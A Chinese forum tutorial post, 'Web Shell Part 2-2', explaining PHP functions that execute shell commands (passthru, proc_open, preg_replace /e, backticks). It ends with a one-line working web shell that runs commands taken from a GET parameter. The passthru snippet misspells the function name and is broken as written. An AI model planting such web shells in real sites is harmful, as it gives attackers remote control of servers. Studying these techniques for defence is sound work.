请选择 进入手机版 | 继续访问电脑版

默认
回复 0

140

主题

145

帖子

442

积分

中级会员

Rank: 3Rank: 3

积分
442
QQ
Web Shell Part 2-2 使用PHP的Web-Shell101[复制链接]
发表于 2018-6-14 08:31:54 | 显示全部楼层 |阅读模式

passthru()
passthru()函数执行一个命令并以原始格式返回输出。
<?php// Executes, returns output in raw formatpasssthru(“ls -la“);?>--> total 12 drwxrwxr-x 2 secuser secuser 4096 Apr 28 18:23 . drwxr-xr-x 6 secuser secuser 4096 Apr 27 20:40 .. -rw-rw-r-- 1 secuser secuser 29 Apr 28 18:23 shell.php
proc_open()
这个proc_open()函数可能很难理解(你可以在PHP文档中找到这个函数的详细描述)。简而言之,通过使用,proc_open()我们可以创建一个处理程序(进程),它将用于脚本和我们想运行的程序之间的通信。

preg_replace() with the /e modifier该preg_replace()函数可以执行正则表达式搜索和替换。/ e修饰符(已弃用),用来执行替换eval()。这意味着我们可以通过PHP代码来执行该eval()函数。
<?phppreg_replace('/.*/e', 'system("whoami");', '');?>--> www-data

反引号
令人惊讶的是,并不是很多PHP开发人员都知道这一点,但是,PHP会将反引号(`)的内容作为shell命令执行。
- 反引号字符(`)不应与单引号字符(')混淆
<?php$output = `whoami`;echo "<pre>$output</pre>";?>--> www-data

基上所述,以下是最简单形式的PHP web-shell。
<?php system($_GET['cmd']);?>

它使用system()函数来执行正在通过'cmd'HTTP请求GET参数传递的命令



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则


QQArchiver 手机版 小黑屋  

免责声明:网站所有帖子,内容均为网友提供,不代表本社区立场! , Processed in 0.183837 second(s), 28 queries .

Powered by Discuz! X3.2

Copyright © 2015 ~ 2018 maishell交易网 保留所有权利!

返回顶部